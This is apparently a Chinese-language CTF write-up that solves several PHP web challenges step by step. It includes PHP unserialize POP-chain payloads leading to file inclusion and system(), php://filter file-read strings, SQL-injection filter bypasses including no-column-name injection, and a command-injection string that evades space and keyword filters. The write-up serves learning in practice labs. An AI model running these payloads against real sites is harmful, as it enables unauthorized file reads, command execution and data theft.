[MRCTF2020]Ezpop
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier { 第一个类
protected $var;
public function append($value){
include($value); 文件包含,显然是我们找flag的关键
}
public function __invoke(){
$this->append($this->var); 调用_invoke()方法时,调用append函数
} 而调用_invoke()方法的要求是以调用函数的方式调用一个对象,也就是Modifier对象
}
class Show{ 第二个类
public $source; Show类里面有$source和$str两个public类型的变量
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source; str里面的source变量,可以让str为一个类
} 而Test类里面没有source这个变量,如果令str=new Test(),就能调用_get()方法
public function __wakeup(){ 反序列化时调用,显然是要调用的
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker"; 正则匹配,就是当作字符串处理,会调用__toString()
$this->source = "index.php"; 所以令source=一个类
}
}
}
class Test{
public $p; Test类里面的$p变量
public function __construct(){
$this->p = array(); new Test()时,$p为数组
}
public function __get($key){ 调用_get()时,以函数的形式返回$p数组
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show; 调用_construct()方法
highlight_file(__FILE__);
}
相关魔术方法
__construct() 当一个对象创建时被调用
__toString() 当一个对象被当作一个字符串使用
__wakeup() 将在反序列化之后立即被调用(通过序列化对象元素个数不符来绕过)
__get() 获得一个类的成员变量时调用
用于从不可访问的属性读取数据
#难以访问包括:(1)私有属性,(2)没有初始化的属性
__invoke() 调用函数的方式调用一个对象时的回应方法
现在来分析一下流程
- 首先反序列化调用
__wakeup()
方法 - 令
source
=new Show()
后__wakeup()
会调用__toString()
- 令
$str
=new Test()
就会调用__get()
方法 - 令
p
=new Modifier()
就会调用__invoke()
,然后命令执行
<?php
class Modifier {
protected $var="php://filter/read=convert.base64-encode/resource=flag.php";
}
class Test{
public $p;
}
class Show{
public $source;
public $str;
public function __construct(){
$this->str = new Test();
}
}
$a = new Show();//此时source(show)->str
$a->source = new Show();//source(show)->str之后触发__tostring然后访问source(test)触发__get
$a->source->str->p = new Modifier();//__get返回的p触发__invoke
echo urlencode(serialize($a));
?>
//O:4:"Show":2:{s:6:"source";O:4:"Show":2:{s:6:"source";N;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:6:" * var";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}}}s:3:"str";O:4:"Test":1:{s:1:"p";N;}}
payload
?pop=O%3A4%3A"Show"%3A2%3A%7Bs%3A6%3A"source"%3BO%3A4%3A"Show"%3A2%3A%7Bs%3A6%3A"source"%3BN%3Bs%3A3%3A"str"%3BO%3A4%3A"Test"%3A1%3A%7Bs%3A1%3A"p"%3BO%3A8%3A"Modifier"%3A1%3A%7Bs%3A6%3A"%00%2A%00var"%3Bs%3A57%3A"php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php"%3B%7D%7D%7Ds%3A3%3A"str"%3BO%3A4%3A"Test"%3A1%3A%7Bs%3A1%3A"p"%3BN%3B%7D%7D
cs反序列化4
<?php
highlight_file(__FILE__);
error_reporting(0);
class test{
public $peguin;
public $source;
public function __construct($file){
$this->source = $file;
echo 'welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->peguin->close();
}
public function __wakeup(){
if(preg_match('/http|file|data|dict|\.\./i',$this->source)){
echo "hacker!";
$this->source = "index.php";
}
}
}
class good{
public $joker;
public function __call($name,$param){
system($this->joker);
}
}
$a = $_GET['cmd'];
unserialize($a);
?>
__call():当调用类中不存在的方法时,就会调用__call();
__wakeup():unserialize时会调用
__toString():当把一个类当作字符串处理时调用
__construct():new一个类时调用
流程
- 反序列化$a,调用
__wakeup()
- 令
source
=new test
类,调用__toString()
__toString()
会使用也给不存在的方法,于是调用__call()
- 令
$joker
为我们要执行的命令
<?php
highlight_file(__FILE__);
error_reporting(0);
class test{
public $peguin;
public $source;
}
class good{
public $joker="ls ../../../../..";
}
$a=new test();
$a->source=new test();
$a->source->peguin=new good();
echo urlencode(serialize($a));
run:O%3A4%3A%22test%22%3A2%3A%7Bs%3A6%3A%22peguin%22%3BN%3Bs%3A6%3A%22source%22%3BO%3A4%3A%22test%22%3A2%3A%7Bs%3A6%3A%22peguin%22%3BO%3A4%3A%22good%22%3A1%3A%7Bs%3A5%3A%22joker%22%3Bs%3A17%3A%22ls+..%2F..%2F..%2F..%2F..%22%3B%7Ds%3A6%3A%22source%22%3BN%3B%7D%7D
怎么没有flag
$joker="ls"
$joker="cat flag.php"
出了个寂寞,为什么
原来在源代码里面
Linux读取文件的一些命令
cat 从第一行开始,显示文件的所有内容
tac 从第最后一行开始,显示文件的所有内容(正好与cat相反)
more 根据窗口大小,一页一页的实现文件内容
less 和more类似,但是优点是是可以往前翻页和搜索字符
head 只显示前几行
tail 只显示后几行
nl 类似于cat -n,显示时输出行号
这道题如果用cat就不能在页面上显示,用tac的话就可以
[BSidesCF 2020]Had a bad day
猜测可能有sql注入或者文件包含
尝试了sql注入有报错
确定是文件包含了,并且还在后面连接了一个.php
php://filter/read=convert.base64-encode/resource=index
<?php
$file = $_GET['category'];
if(isset($file))
{
if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index")){
include ($file . '.php');
}
else{
echo "Sorry, we currently only support woofers and meowers.";
}
}
?>
尝试直接读取/index.php?category=woofers/../flag
说明确实有flag.php这个文件噢
再用filter伪协议独取flag.php文件
这里有个知识点
php伪协议可以嵌套使用
在filter伪协议中,即
php://filter/read=convert.base64-encode/meowers/resource=flag
[SWPU2019]Web1
登录页面没发现什么注入点,随便注册了一个
在广告页面输一个1'
这不就是sql注入
1' or 1=1--+
测试之后是检测了–+,除此之外#等其他的注释符也被过滤了
因为测试出闭合方式是单引号,所以结尾可以用单引号闭合
1' union select 1,2,3'
空格全没了哇,用/**/
代替空格
-1'/**/union/**/select/**/1,2,3'
列数不对,竟然不是三列,难道是四列?
-1'union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
最后测试出是22列,好家伙!
回显在2,3
查库
-1'union/**/select/**/1,2,database(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
查表
-1'union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
发现过滤了information_schema
,那咋办呢
当过滤了information_schema
时
可以用mysql.innodb_table_stats
代替information_schema
-1'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/database_name=database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
查出了表面怎么查列名呢?
无列名注入
尝试写了一下,写着写着发现自己也没有太理解,还是引用大佬的文章吧
我的理解是在符合这种格式的情况下,改列名
select `3` from (select 1,2,3,4,5 union select * from users)a;
select `x` from (select 1,2 as x,3,4,5 union select * from users)a;
末尾的 a 是用来命名的,也可以是其他字符。
-1'union/**/select/**/1,(select/**/group_concat(a)/**/from(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/select*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
这个语句就是把第二列改为a,然后查a的数据
-1'union/**/select/**/1,(select/**/group_concat(b)/**/from(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/select*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
[WUSTCTF2020]朴实无华
据wp所说,看到bot就想到了robots.txt
反正我是没注意到bot,也没想到robots.txt
太菜了!
访问
看了wp说响应头里有提示,我还是没想到,还是太菜!
?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);
//level 1
if (isset($_GET['num'])){
$num = $_GET['num'];
if(intval($num) < 2020 && intval($num + 1) > 2021){
echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
}else{
die("金钱解决不了穷人的本质问题");
}
}else{
die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){
$md5=$_GET['md5'];
if ($md5==md5($md5))
echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
else
die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
die("去非洲吧");
}
//get flag
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "wctf2020", $get_flag);
echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
system($get_flag);
}else{
die("快到非洲了");
}
}else{
die("去非洲吧");
}
绕过两个if,然后在第三个if里面getflag
//level 1
if (isset($_GET['num'])){
$num = $_GET['num'];
if(intval($num) < 2020 && intval($num + 1) > 2021){
echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
}else{
die("金钱解决不了穷人的本质问题");
}
}else{
die("去非洲吧");
}
关键是要绕过这句
intval($num) < 2020 && intval($num + 1) > 2021
intval()函数在处理字符串型的科学计数法时,只输出e前面的数字
intval('2e4') = 2
'2e4'+1 = float(20001)
intval('2e4'+1) = 20001
好家伙那么解法就很清晰了
$num=2e4
//level 2
if (isset($_GET['md5'])){
$md5=$_GET['md5'];
if ($md5==md5($md5))
echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
else
die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
die("去非洲吧");
}
md5=md5编码后的md5
也就是0e开头的字符串编码之后还是0e开头
我搜了一个但是不行,还是用wp里面的吧0e215962017
?num=2e4&md5=0e215962017
//get flag
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "wctf2020", $get_flag);
echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
system($get_flag);
}else{
die("快到非洲了");
}
}else{
die("去非洲吧");
}
好像挺简单,反斜杠过滤
?num=2e4&md5=0e215962017&get_flag=ls
用$IFS$9
代替空格
?num=2e4&md5=0e215962017&get_flag=c\at$IFS$9fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag